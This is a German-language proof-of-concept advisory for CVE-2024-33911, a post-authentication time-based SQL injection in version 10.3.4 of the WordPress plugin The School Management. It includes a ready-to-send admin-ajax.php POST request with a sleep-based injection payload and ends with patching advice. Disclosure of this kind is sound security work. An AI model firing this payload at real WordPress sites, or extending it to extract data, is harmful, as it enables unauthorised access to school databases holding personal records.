
Proof-of-Concept-Exploit für CVE-2024-33911, eine post-authentifizierte SQL-Injection-Schwachstelle im WordPress-Plugin The School Management v10.3.4, die die Ausführung beliebiger SQL-Befehle über den admin-ajax.php-Endpunkt ermöglicht.
Exploit-Titel: The School Management 10.3.4 - SQL-Injection nach Authentifizierung
Datum: 29. April 2024
Exploit-Autor: Ivan Spiridonov (xbz0n)
Hersteller-Website: https://theschool-management.com
Version: 10.3.4
Getestet auf: Ubuntu 22.04
CVE: CVE-2024-33911
Das Plugin The School Management, Version 10.3.4, entwickelt von Weblizar für WordPress, ist anfällig für SQL-Injection nach Authentifizierung über den Parameter 'order%5B0%5D%5Bdir%5D' im Endpunkt /wp-admin/admin-ajax.php. Diese Schwachstelle resultiert aus einer unzureichenden Maskierung des vom Benutzer bereitgestellten Parameters sowie aus dem Fehlen einer ordnungsgemäßen Vorbereitung der SQL-Abfrage. Eine solche Schwachstelle erlaubt es authentifizierten Angreifern, beliebige SQL-Befehle einzuschleusen und auszuführen, was zu unbefugtem Zugriff auf oder Manipulation von Datenbankinformationen führen kann.
Die Schwachstelle befindet sich im Parameter 'order%5B0%5D%5Bdir%5D' innerhalb des Admin-AJAX-Endpunkts. Durch Manipulation dieses Parameters können authentifizierte Angreifer SQL-Befehle einschleusen, was zu einer zeitbasierten SQL-Injection-Schwachstelle führt.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
[Additional Headers]
draw=3&[Other Parameters]&order%5B0%5D%5Bdir%5D=asc%2c(select*from(select(sleep(20)))a)
Wenn die Serverantwort um etwa 20 Sekunden verzögert wird, deutet dies auf eine erfolgreiche Ausnutzung der zeitbasierten SQL-Injection hin und bestätigt die Schwachstelle.
Benutzern von The School Management v10.3.4 wird dringend empfohlen, den Zugriff auf den betroffenen Endpunkt einzuschränken und das Plugin auf die neueste Version zu aktualisieren. Darüber hinaus ist es entscheidend, eine ordnungsgemäße Eingabevalidierung und -bereinigung zu implementieren. Die Verwendung von Prepared Statements oder parametrisierten Abfragen zur Verarbeitung von SQL-Befehlen kann dazu beitragen, solche Schwachstellen zu entschärfen.